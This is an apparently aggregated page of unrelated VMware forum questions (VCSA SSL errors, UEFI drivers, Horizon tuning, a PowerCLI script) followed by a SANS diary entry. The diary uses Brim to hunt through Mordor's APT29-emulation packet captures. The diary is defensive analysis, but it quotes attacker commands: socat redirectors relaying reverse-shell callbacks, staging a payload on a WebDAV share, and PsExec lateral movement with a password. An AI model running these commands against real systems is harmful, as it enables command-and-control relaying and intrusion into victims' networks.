VCSA 6.0U3 SSL woes

This post was originally published on this site

Hello everyone,

 

Yesterday I started having trouble signing in to the VCSA 6.0U3 Flash (“flex”) client, seemingly out of nowhere. Yes, I would like to upgrade to 6.5, but we have no support contract for two years…

 

The Windows “fat” client lets me log in, and if I SSH in and restart all services, my FIRST login succeeds. After that if I attempt to login again or from another machine I get the blue screen and spinning clock indefinitely.

 

The most promising error messages I can are from websso.log:

javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target

 

ssoAdmin:

com.vmware.identity.admin.server.ims.ServerConfigurationException: Failed to get issuers certificates

 

and STS:

2020-08-11T17:16:09.961-04:00 | ERROR | opId-8d5efa48-949b-47ed-8c13-5dd383b74896 | vdcs-background-executor-4 | StsTrustChainImpl          | Error retrieving trusted root certificates.

java.lang.NullPointerException

    at com.vmware.provider.VecsKeyStoreEngine.engineAliases(VecsKeyStoreEngine.java:71)
    at java.security.KeyStore.aliases(Unknown Source)
    at com.vmware.vcde.common.services.sso.impl.StsTrustChainImpl.refresh(StsTrustChainImpl.java:56)
    at com.vmware.vcde.common.services.sso.impl.StsTrustChainImpl.access$0(StsTrustChainImpl.java:51)
    at com.vmware.vcde.common.services.sso.impl.StsTrustChainImpl$1.run(StsTrustChainImpl.java:46)

I haven’t made any modifications to the certs, and things were working prior to yesterday afternoon. All the certs I can find are valid through 2024 or 2025. I’ve poked through the management interface, through the PSC, manually verified the certs on the VCSA with openssl. My suspicion is that some cert expired but I can’t find any that are expired.

 

I did reboot the VCSA, and when it came back up it wiped out eam.properties so I did rebuild that and have verified that vmware-eam is running, and that the vapi endpoint health check returns okay.

 

This is so strange because, once I rebooted and/or restart all services, the first login succeeds in the web interface, but I only get one. The fat client works. The PSC lets me log in.

 

Has anyone seen this before?

 

Thank you,

Don

UEFI driver for NTFS filesystem hangs UEFI Shell on Workstation Pro 15.5.6?

This post was originally published on this site

There is an excellent collection of open-source code for read-only UEFI drivers on GitHub called EfiFS. The NTFS driver used to compile with Visual Studio or EDK2 and the result worked well in the UEFI Shell included with Workstation and Player, I’m told). I’ve recently (2020-08-10) tried the latest version of EfsFS and compiled it with VS2019 Enterprise 16.7.1 and EDK2 (2020-08-10 branch). The resulting driver, ntfs_x63.efi, works with other hardware emulators and loads successfully on Workstation Pro’s UEFI Shell (2.31), but the shell hangs when you try to connect the driver to a device. I haven’t tried the other drivers yet – ntfs was the first attempt.

 

Has anyone else experienced this or, perhaps, even solved it? Any ideas how I might chase down the issue? Thank you for any ideas or comments.

Horizon on AWS – CPU Utilisation

This post was originally published on this site

We have a 4 x Host cluster on AWS running Horizon management services + VDI desktops.

The management services have their own resource pool as do the VDI desktops – the resource pools are set to default, no attempt to configure them has been made.

 

We have noticed some runaway VDI desktops, using anywhere between 3.xGhz and 5.xGhz and forcing the host to report near 100% utilisation. The VDI desktop configuration is 2 x vCPU and 4GB Mem

 

My question is this, what is the best baseline config suggested to manage CPU utilisation for VDI desktops within AWS?

Changing UEFI.rom or Shell.efi on a VM-by-VM basis in Workstation Pro?

This post was originally published on this site

I have been experimenting with Workstation Pro 15.5.6 and it’s implementation of UEFI and the UEFI Shell (currently 2.31) to develop and test UEFI drivers and applications. I was wondering if there might be a relatively easy way to change the firmware, or components of it, on a VM-by-VM basis? That is, I’d like VM1 to boot with EFI64-1.ROM, VM2 to boot with EFI64-2.ROM while remaining and new VMs would use the standard EFI64.ROM as distributed with Workstation Pro.

 

I’m using EDK2 to compile the applications, drivers and roms. I do use QEMU for this but, without getting into detail, I’d like to use Workstation Pro as the principal development environment.

 

Thank you for any help or thoughts.

Migrating VMs from one Horizon Server to another

This post was originally published on this site

We’re in the process of upgrading a client’s infrastructure.  As part of it, they have a Horizon server that has desktop terminals.  Their current server is 6.2.9. We’ve built a new Horizon server 7.6 (eventually we’ll update it to the latest version but for compatibility purposes we started with this one.)  If we want to migrate the current terminals to the new server, would the best way be to add the vCenter to the 7.6 server and then remove the terminal from the 6.2.9 server and add it to the 7.6 one?     Then after all the VMs are moved shut down the old server?

To the Brim at the Gates of Mordor Pt. 1, (Wed, Aug 12th)

This post was originally published on this site

Search & Analyze Mordor APT29 PCAPs with Brim

Herein lies an opportunity to explore the dark in the name of light.
“Some believe that it is only great power that can hold evil in check. But that is not what I’ve found. I found it is the small things. Every day deeds by ordinary folk that keeps the darkness at bay.” ~Gandalf
These words ring ever true in the every day fight we face combatting cyber crime and Internet malfeasance. Two offerings come forth to join this fight and converge here to create ample learning opportunities.
Brim offers a new way to browse, store, and archive logs with their free and open source Brim Desktop app, as well as the ZQ command line execution engine and query language.
The Mordor project provides pre-recorded security events generated by simulated adversarial techniques, categorized by platforms, adversary groups, tactics and techniques defined by the MITRE ATT&CK FrameworkEvaluations, and Arsenal. MITRE really is the third protaganist in our epic, we owe them much as defenders of the realm.

As described on their website, Brim is for Wireshark users lost in a sea of packets, or analysts wanting to shed new light on Zeek data.
Per its project site, Mordor’s pre-recorded data represents specific known malicious events as well as related context/events. This is intentional to allow testing creative correlations across diverse data sources to enhance detection and reduce false positives. Mordor comes to you courtesy of two extremely dedicated security practitioners, Roberto Rodriguez @Cyb3rWard0g and Jose Luis Rodriguez @Cyb3rPandaH. The Cyb3rBr0th3rs just dropped a load of knowledge at Defcon’s Blue Team Village, and their GitHub repo has been updated accordingly. You may recall that we’ve enjoyed ourselves to great length courtesy of @Cyb3rWard0g‘s HELK project as covered in 2018’s issues #131 and #132.
Meanwhile, the Brim team is hard at work evolving their offerings beyond their solid desktop client. Per Brim Security‘s Phil Rzewski, zar is a CLI tool that represents their first step in scaling beyond the desktop using “micro-indexes” to help locate chunks of data in a long tail of archived logs. The zar README walks through some operations in a manner written for an audience that nerds out on things like indexing implementations and big data concepts. Sounds about right for us. Meanwhile, their zq CLI offering is getting a boost to read/write logs and archives to/from Amazon S3. We’ll cover zq, zar, zql, and zng extensively in Part 2 of our journey to return the ring to the fires of Mount Doom. By the way, for you metal heads in the audience, I’m raging to Amon Amarth as I write this. Oh, the Middle-earth madness. 😉
The Mordor project includes a robust APT29-emulated dataset with related PCAPs that make perfect fodder for Brim, and it is there we first face the Beornings (sorry, I can’t help myself…APT29 == Cozy Bear == Beorn…nevermind).
Brim is incredibly staightforward to download and install, no need to dally there.
Mordor’s APT29 dataset is broken up into two days of simulation scenarios.
Your first best action is to read up on the APT29 datasets, which gives you the full breakdown on the adversary group, their behaviors, and the applicable ATT&CK evaluation data points. You should also download the Emulation Plan, apt29.xlsx as it provides a bit of play by play for our Brim tests.
A bit about the scenarios. Day 1 and Day 2 are each 10 steps in multiple parts, with details about actions executed, again, in emulation of APT29. The Mordor project execution of each of these scenarios resulted in PCAPs (Day 1Day 2) that we will simply drag and drop right into Brim.
Before we begin, a bit about the systems in play for these simulations:

Attack Platforms
192.168.0.4 Pupy RAT & WebDAV
192.168.0.5 Redirector

Targets
SCRANTON: 10.0.1.4
UTICA: 10.0.1.5
NASHUA: 10.0.1.6
NEWYORK: 10.0.0.4

We’ll note a variety of actions across these hosts. As such, Figure 1 indicates the ease of loading Brim for use.

Load Brim

Figure 1: Brim loading PCAPs

The most important thing to note is that, even thought you’re loading PCAPs, Brim presents the content to you in Zeek (formerly Bro) log file principles. As such, you can expect the likes of conn, weird, http, dns, kerberos, smb_files, and others. Figure 2 is the result of a generic wildcard query of the Day 2 SCRANTON PCAP, as an example.

Generic view

Figure 2: Generic Brim view

Search syntax with Brim is very SQL-like, zql to be specific. Very simple queries often yield immediate results as well.
Consider the APT29 Day 1 Red Team setup where 192.168.0.5 is set up as redirector with a variety of socat listeners:

sudo socat TCP-LISTEN:443,fork TCP:192.168.0.4:443 & sudo socat TCP-LISTEN:1234,fork TCP:192.168.0.4:1234 & 
sudo socat TCP-LISTEN:8443,fork TCP:192.168.0.4:8443 &

These port forwarding commands are run on the redirector (192.168.0.5) in order to forward any callbacks over ports 443, 1234, and 8443 to the attacker platform (192.168.0.4). As part of Step 1.A a maldoc is executed on the first victim which then sends a reverse shell to the Pupy C2 server. We see that connection via the Day 1 SCRANTON PCAP with a search as simple as 1234, as seen in Figure 3.

Simple query

Figure 3: Simple query result

SCRANTON (10.0.1.4) is seen connecting back to the redirector (192.168.0.5) as described.
Given that SCRANTON is clearly victimized now, what other evidence can we establish? APT29 and their ilk are likely to move compressed files about. Per the Day 1 steps, compressed files figure heavily in the day’s activity. Again, using the SCRANTON PCAP, let’s see what files AND compressed yields. Figure 4 yields the result.

Compressed files

Figure 4: A search for compressed files in transit

We see that SCRANTON (10.0.1.4) pushed a compressed file back to the Pupy attack platform (192.168.0.4). This behaviors are in keeping with ATT&CK Evaluations, per the APT29.xlsx spreadsheet, as follows:
The attacker then collects files (T1005), which are compressed (T1002) and encrypted (T1022), before being exfiltrated to an attacker-controlled WebDAV share (T1048). Note that, per the description of the attack platform (192.168.0.4) a WebDAV share has been enabled. Exploring that thread a bit more, we discover more in the SCRANTON PCAP. webdav | count() by uri | sort -r count returns ample evidence of the WebDAV share in use on Day 1, as seen in Figure 5.

WebDAV share

Figure 5: WebDAV share in use

We note that in the emulation plan for Day 1, under Step 8.A – Lateral Movement, the arsenal includes: 

[user@attacker]# cp attack-evals/apt29/day1/payloads/python.exe /var/www/webdav/ [user@attacker]# cd /var/www/webdav
[user@attacker]# chown -R www-data:www-data python.exe

We clearly see that in play per Figure 5.
The use of python.exe seems like an interesting pivot point for an analyst/hunter/responder to make a turn on. Given that lateral movement is inherent in these scenarios, particulaly where APT29 is concerned, we know that NASHUA (10.0.1.6) is the other Day 1 victim. Given evidence of python.exe in Figure 5, let’s see what transactions may have occured between SCRATON and NASHUA indicating lateral movement, using Mordor’s NASHUA PCAP. Using a combination of glob wildcards and the pattern matching operator =~ we can hone a pretty specific query based on existing indicators.
id.orig_h=10.0.1.4 AND id.resp_h=10.0.1.6 AND _path=smb_files AND name=~*python*
Figure 6 reveals behavior consistent with the scenarios and APT29 behavior.

Payload

Figure 6: Remote payload execution

This result matches perfectly with the ATT&CK Scenario, specifically Step 8.C – Lateral Movement:
.PsExec64.exe -accepteula <victim 2 IP> -u "domainNameusername" -p P@ssw0rd -i <session ID from 8A> "C:WindowsTemppython.exe"

Pulling the query back out a bit, id.orig_h=10.0.1.4 AND id.resp_h=10.0.1.6 AND _path=smb_files reveals other related mayhem as seen in Figure 7.

File actions

Figure 7: Additional file actions

Indeed, further file opens and deletes via psexec are noted here. Per the handy APT29 spreadsheet this all follows suit with lateral movement via Windows admin shares, service execution, and the use of valid accounts. More specifically, the “new payload is executed on the secondary victim via the PSExec utility (T1077, T1035) using the previously stolen credentials (T1078).” Man, I love the MITRE ATT&CK Attack Aresenal.
Finally, in case you had any doubt that PSEXEC was in use here, Brim offers direct-to-Wireshark functionality in case you’d like to inspect the related capture(s) more closely. Double click on the log entry of interest, this will spawn an Brim Log Detail window. In the upper right corner of this new window, click ye olde blue shark fin and off you go to Wireshark. I opted for the basic Follow TCP Stream and dumped the SysInternal EULA, so I think we’re in the right place. 😉

Wireshark

Figure 8: Additional file actions

You can also call Wireshark as such from the main tab view in the Brim GUI. We’ll pause our journey here, and resume with Day 2 of the APT29 scenarios, spending more time with zq, zar, zql, and zng from Brim, in Part 2 of this adventure.
Meanwhile, download Mordor, download Brim, and familiarize yourself with all the related MITRE resources. Brim is a strong project in progress, and the Cyb3rBr0th3rs are guaranteed to keep adding content to the Mordor project as just seen with their new Blue Team Village content post-Def Con. Can’t wait to see more.
These project developers and operators are all interested in your feedback or suggestions, engage readily via social media, and want only your success in your battles against evil. Reach out to them as needed, and be sure to shoot any questions you may have my way as well. Always there for you via russ @ holisticinfosec dot io or @holisticinfosec.
Namárië.

Cheers…until next time.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

restarting vpxa agent and then losing connection

This post was originally published on this site

I got the below script but after restarting vpxa agent, I think I lose connection and unable to conitnue and set the host back to connected. any idea?

 

 

param($vmhost)

 

# Put host in Maintenance mode and apply host profile

set-vmhost -vmhost $vmhost -state “Maintenance” -confirm:$false

Invoke-vmhostprofile $vmhost -confirm:$false | Test-VMhostprofilecompliance

# Restart watchdog service

#$esxhosts = get-vmhost -name (get-content esxhosts.txt)

#foreach ($vmhost in $esxhosts){}

$esxcli = get-esxcli -vmhost $vmhost -V2

$esxcli.hardware.ipmi.sel.clear.Invoke()

$esxcli.system.wbem.set.Invoke(@{enable=$false})

$esxcli.system.wbem.set.Invoke(@{enable=$true})

get-vmhostservice -vmhost $vmhost | ? {$_.Running -eq “True”} | restart-vmhostservice  -confirm:$false -ErrorAction Silentlycontinue

set-vmhost -vmhost $vmhost -state connected <——-